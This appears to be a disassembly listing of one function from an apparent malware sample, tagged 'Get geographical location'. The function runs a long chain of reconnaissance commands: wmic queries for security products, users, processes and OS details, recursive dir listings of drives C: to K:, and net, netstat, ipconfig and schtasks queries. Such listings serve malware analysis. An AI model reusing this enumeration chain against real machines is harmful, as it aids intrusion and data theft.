Function at 0x140004714
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
lea rdx, str._commands_:__
mov rbx, rcx
call main
lea rcx, [rbp - 0x19]
call fcn.1400042f8
lea r8, [0x140009610]
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140003d24
test eax, eax
je 0x140004d35
lea rcx, [rbp - 0x19]
mov dword [rbp + 0x4b], 0x3a980
call fcn.140004254
test al, al
je 0x140004d35
lea r8, str.wmic__namespace:_rootSecurityCenter2_Path_AntiVirusProduct_Get_displayName__format:csv
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
lea rdi, [0x140008444]
mov rcx, rbx
mov rdx, rdi
call main
lea r8, str.wmic__namespace:_rootSecurityCenter2_Path_FirewallProduct_Get_displayName__format:csv
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.wmic__namespace:_rootSecurityCenter2_Path_AntiSpywareProduct_Get_displayName__format:csv
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.wmic__namespace:_rootcimv2_Path_Win32_Processor_Get_Name_DeviceID_NumberOfCores__format:csv
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.wmic__namespace:_rootcimv2_Path_Win32_Product_Get_Name_Version__format:csv
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.wmic__namespace:_rootcimv2_Path_Win32_NetworkAdapter_Where_PhysicalAdapterTRUE_Get_Name_MACAddress_ProductName_ServiceName_NetConnectionID__format:csv
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.wmic__namespace:_rootcimv2_Path_Win32_StartupCommand_Get_Name_Location_Command__format:csv
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.wmic__namespace:_rootcimv2_Path_Win32_OperatingSystem_Get_Caption_CSDVersion_BuildNumber_Version_BuildType_CountryCode_CurrentTimeZone_InstallDate_LastBootUpTime_Locale_OSArchitecture_OSLanguage_OSProductSuite_OSType_SystemDirectory_Organization_RegisteredUser_SerialNumber__format:csv
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.wmic__namespace:_rootcimv2_Path_Win32_Process_Get_Caption_CommandLine_ExecutablePath_ProcessId__format:csv
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.wmic__namespace:_rootcimv2_Path_Win32_Volume_Get_Name_Label_FileSystem_SerialNumber_BootVolume_Capacity_DriveType__format:csv
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.wmic__namespace:_rootcimv2_Path_Win32_UserAccount_Get_Name_Domain_AccountType_LocalAccount_Disabled_Status_SID__format:csv
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.wmic__namespace:_rootcimv2_Path_Win32_GroupUser_Get_GroupComponent_PartComponent__format:csv
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.wmic__namespace:_rootcimv2_Path_Win32_ComputerSystem_Get_Caption_Manufacturer_PrimaryOwnerName_UserName_Workgroup__format:csv
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.wmic__namespace:_rootcimv2_Path_Win32_PnPEntity_Where_ClassGuid_50dd5230_ba8a_11d1_bf5d_0000f805f530__Get_Name_DeviceID_PNPDeviceID_Manufacturer_Description__format:csv
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.dir__C:___A__X__Q__R
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.dir__D:___A__X__Q__R
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.dir__E:___A__X__Q__R
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.dir__F:___A__X__Q__R
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.dir__G:___A__X__Q__R
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.dir__H:___A__X__Q__R
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.dir__I:___A__X__Q__R
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.dir__J:___A__X__Q__R
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.dir__K:___A__X__Q__R
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.ipconfig__displaydns
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.route_print
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.netsh_firewall_show_state
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.systeminfo
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.tasklist__v
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.net_accounts__domain
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.net_share
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.net_user
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.net_user__domain
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.net_use
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.net_group
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.net_localgroup
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.netstat__r
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.netstat__nao
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.schtasks__query
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
mov rdx, rdi
mov rcx, rbx
call main
lea r8, str.ipconfig__all
mov rcx, rbx
lea rdx, [rbp - 0x19]
call fcn.140004490
test al, al
je 0x140004d35
lea rcx, [rbp - 0x19]
call fcn.140004118
lea rcx, [rbp - 0x19]
call fcn.1400042d8
lea rdx, [0x1400087d0]
mov rcx, rbx
call main
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret